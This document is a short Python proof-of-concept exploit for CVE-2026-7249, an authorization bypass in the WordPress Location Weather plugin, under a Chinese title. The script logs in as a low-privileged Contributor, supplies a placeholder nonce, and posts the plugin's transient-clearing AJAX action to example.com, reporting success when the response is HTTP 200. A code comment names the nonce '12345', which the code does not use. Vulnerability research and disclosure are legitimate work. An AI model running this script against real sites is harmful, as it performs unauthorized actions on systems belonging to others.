CVE-2026-7249: WordPress Location Weather插件权限绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" username = "contributor" password = "password" session = requests.Session() # Step 1: Authenticate as a low-privileged user (e.g., Contributor) login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # Step 2: Fetch the nonce (splw_nonce) exposed via wp_localize_script # In a real scenario, this might be scraped from a page source or response body # Assuming the nonce is '12345' for demonstration nonce = "extracted_nonce_value" # Step 3: Exploit - clean transients exploit_data = { "action": "lwp_clean_weather_transients", "security": nonce } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Exploit successful! Cache cleared.") else: print("Exploit failed.")